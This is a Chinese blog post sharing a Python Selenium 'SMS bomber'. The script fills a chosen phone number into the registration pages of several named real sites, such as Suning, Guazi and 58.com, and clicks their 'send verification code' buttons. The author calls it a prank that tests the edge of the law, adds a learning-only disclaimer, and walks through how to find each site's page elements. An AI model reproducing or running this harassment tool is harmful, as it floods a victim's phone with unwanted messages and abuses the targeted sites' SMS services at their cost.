【python】爬蟲:短信驗證碼的獲取

最近一直在琢磨寫一個有點煩人的小爬蟲,結(jié)果琢磨著,就花了一點點時間,寫了這樣一個“不友好”的,被許多人討厭的爬蟲??:頻繁收取短信驗證碼的‘壞’程序,姑且稱為是生活中的一個"小惡作劇"吧。
對不起啦??,對那些老被我獲取驗證碼的網(wǎng)站(??并非有意要增加你們維護網(wǎng)站的成本??)。

【備注】:此小程序僅用做技術(shù)探究學(xué)習(xí),??不可用于侵犯他人利益。

import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
# 設(shè)置代理
proxy = '220.191.64.149'
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--proxy-server = http://' + proxy)

broswer = webdriver.Chrome()
# 測試代理
# broswer.get('http://httpbin.org/get')

# 輸入即將收到短信的手機號碼
tel = 

# 定位,并輸入手機號碼
def tel_num_try(input_tel):
    print("【目前狀態(tài)】:\n定位號碼輸入框,并輸入手機號碼...")
    try:
        print("使用id定位中...")
        bot1=broswer.find_element_by_id(input_tel)
        bot1.send_keys(tel)
    except:
        print("【id定位失敗!】:\n使用class_name定位中...")
        bots2 = broswer.find_element(By.CLASS_NAME, input_tel)
        time.sleep(1)
        bots2.send_keys(tel)

# 定位并點擊(方案1)
def tel_power_try_child1(btn):
    print("【當(dāng)前狀態(tài)】:定位元素,點擊鼠標(biāo)..")
    try:
        print("使用id定位中...")
        bot3 = broswer.find_element_by_id(btn)
        # bot1 = broswer.find_element_by_css_selector(btn)
        bot3.click()
        time.sleep(1)
    except Exception as e:
        print("【id定位失?。 縗n 使用by_xpath定位中...")
        bots4 = broswer.find_element_by_xpath(btn)
        bots4.click()
        time.sleep(1)

# 定位并點擊(方案2)
def tel_power_try_child2(btn):
    print("【當(dāng)前狀態(tài)】:定位元素,點擊鼠標(biāo)..")
    try:
        print("使用id定位中...")
        bot3 = broswer.find_element_by_id(btn)
        # bot1 = broswer.find_element_by_css_selector(btn)
        bot3.click()
        time.sleep(1)
    except:
        print("【id定位失?。 縗n使用CSS_SELECTOR定位中...")
        bots4 = broswer.find_element(By.CSS_SELECTOR, btn)
        bots4.click()
        time.sleep(1)

# 調(diào)用兩個點擊方案
def tel_power_try(btn):
    try:
        tel_power_try_child1(btn)
    except:
        tel_power_try_child2(btn)

# 模板:兩步獲取驗證碼:手機號定位,驗證碼定位;
def tel_get_2(url,input_tel,btn):
    # 獲取地址
    broswer.get(url)
    # 定位手機號輸入
    tel_num_try(input_tel)
    # 定位"獲取驗證碼"按鈕
    tel_power_try(btn)

# 模板:三步獲取驗證碼:into:登錄定位,input_tel:手機號定位,btn:驗證碼定位;
def tel_get_3(url,into,input_tel,btn):
    # 獲取地址
    broswer.get(url)
    tel_power_try(into)

    # 定位手機號輸入
    tel_num_try(input_tel)

    # 定位"獲取驗證碼"按鈕
    tel_power_try(btn)

# 模板:三步獲取驗證碼:登錄定位,手機號定位,驗證碼定位;
def tel_get_k3(url,into,input_tel,btn):
    # 獲取地址
    broswer.get(url)
    # 定位手機號輸入
    tel_num_try(input_tel)
    tel_power_try(into)

    # 定位"獲取驗證碼"按鈕
    tel_power_try(btn)

# 模板:三步獲取驗證碼:手機定位,滑動驗證碼檢驗(變速滑動)、驗證碼定位;(待續(xù))

# 模板:三步獲取驗證碼:手機定位,圖像文字識別檢驗(涉及太廣)、驗證碼定位;(待續(xù))

【解釋一下】:對驗證碼的獲取,不同的網(wǎng)頁有不同的方式,但總結(jié)下來,主要分為以下幾種:

  • 兩步獲取驗證碼:手機號定位,驗證碼定位;
  • 三步獲取驗證碼:into:登錄注冊界面定位;input_tel:定位手機號輸入框;btn:驗證碼按鈕定位;
  • 三步獲取驗證碼:手機定位;滑動驗證碼檢驗(變速滑動);驗證碼按鈕定位;
  • 三步獲取驗證碼:手機定位,圖像文字識別檢驗、驗證碼定位;(此塊內(nèi)容涉及知識面太廣,暫時不做考究);

下面以蘇寧易購為例,(界面做的蠻好看的,點個贊)講述一下大致的短信獲取的步驟。

  • 第一步:在進入注冊成為新用戶之前,我們要先點擊【同意并繼續(xù)】的按鈕,當(dāng)然,關(guān)于如何尋找并定位這個元素,可以通過開發(fā)者工具,然后找到此元素的(class_name、id)等一系列的可以定位此元素的屬性,然后使用selenium庫模擬鼠標(biāo)點擊按鈕即進入下一步;
以蘇寧易購為例
  • 第二步:
    同第一步一樣,通過開發(fā)者工具定位元素,使用selenium庫模擬輸入手機號碼即可。


    定位手機號輸入框
  • 第三步:
    同第二步一樣,通過開發(fā)者工具定位元素,使用selenium庫模擬點擊【獲取驗證碼】即可。


    第三步

【后續(xù) 程序如下】:

# 短信轟炸機:感覺自己在犯法的邊緣不斷試探
class Spider_tel():
    def __init__(self):
        pass

    def TongCheng_com(self):
        url = "https://passport.58.com/reg/?path=https%3A//gz.58.com/&PGTID=0d100000-0000-33f9-63ec-9ca2641f5e25&ClickID=3"
        input_tel = 'phone'
        btn = '.getcode'
        print('【TongCheng_com】')
        tel_get_2(url,input_tel,btn)

    def Guazi_com(self):
        url = "https://www.guazi.com/qinhuangdao/dazhong/"
        into = 'js-login-new'
        input_tel = "phone-login-input"
        btn = '.get-code'
        print('【Guazi_com】')
        tel_get_3(url,into, input_tel, btn)

    def JianShu(self):
        url = "http://www.itdecent.cn/sign_up"
        input_tel = 'user_mobile_number'
        btn = 'send_code'
        print('【JianShu】')
        tel_get_2(url,input_tel,btn)

    def SuNingYiGou(self):
        url = "https://reg.suning.com/person.do?myTargetUrl=https%3A%2F%2Fwww.suning.com%2F%3Fsafp%3Dd488778a.uzD.0.acf325284e"
        into = '.agree-btn'
        input_tel = "mobileAlias"
        btn = 'sendSmsCode'
        print('【SuNingYiGou】')
        tel_get_3(url,into, input_tel, btn)

    def FanKe(self):
        url = "https://www.fkw.com/reg.html"
        input_tel = 'acct'
        btn ='.button'
        print('【FanKe】')
        tel_get_2(url,input_tel,btn)

    def WangyiYun(self):
        # 難啃系數(shù)3顆星
        url = "https://id.163yun.com/register?referrer=https://dun.163.com/dashboard&h=yd&"
        into = ".yidun_intelli-text"
        input_tel = "m-input"
        btn = '.m-btn'
        print('【W(wǎng)angyiYun】')
        tel_get_k3(url,into, input_tel, btn)

    def BeiRui(self):
        url = 'https://console.oray.com/passport/register.html?fromurl=http%3A%2F%2Fdomain .oray.com%2F'
        into = '//*[@id="tips-protocol-win"]/div/div/div/div[2]/p/ input[1]'
        input_tel = "mobile"
        btn = "re-get"
        print('【BeiRui】')
        tel_get_3(url,into, input_tel, btn)

    def XueJia(self):
        url = "https://cn.student.com/au/adelaide?utm_source=baidu&utm_medium=cpc&utm_campaign=3_destination_au_pc&utm_content=3_adelaide_g_web_p&utm_term=adelaide%E7%A7%9F%E6%88%BF%E7%BD%91#sign-up"
        input_tel = 'input-field__input'
        btn ='.send-button__text'
        print('【XueJia】')
        tel_get_2(url,input_tel,btn)

    def run(self):
        pass
        # self.TongCheng_com()
        # self.Guazi_com()
        # self.JianShu()
        # self.FanKe()    #需要滑塊驗證(留待解決)
        # self.SuNingYiGou()
        # self.WangyiYun()
        # self.BeiRui()
        # self.XueJia()

s = Spider_tel()
s.run()

【結(jié)語】:作者僅出于學(xué)習(xí)爬蟲的初衷,分享本文,如有問題,歡迎留言。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 愛我小愛,愛我所愛!??
    鎖江一龍閱讀 129評論 0 0
  • 民法:李建偉(眾合)/鐘秀勇(瑞達) 刑法:徐光華(眾合)/劉鳳科(瑞達) 民訴:戴鵬(指南針) 刑訴:左寧(指南...
    咖喱金金閱讀 479評論 0 0
  • 一個不會游泳的人, 老換游泳池是不能解決問題的; 一個不會做事的人, 老換工作是解決不了自己的能力的; 一個不懂經(jīng)...
    湘子_5b16閱讀 1,345評論 1 0
  • 事無大小,一定要仔細(xì) 一定要認(rèn)真,一定要仔細(xì) 一定要認(rèn)真檢查,一定會要注意 一定要踏實,一定要謹(jǐn)慎 一定要穩(wěn)重,一...
    百思方成Helen閱讀 836評論 0 1

友情鏈接更多精彩內(nèi)容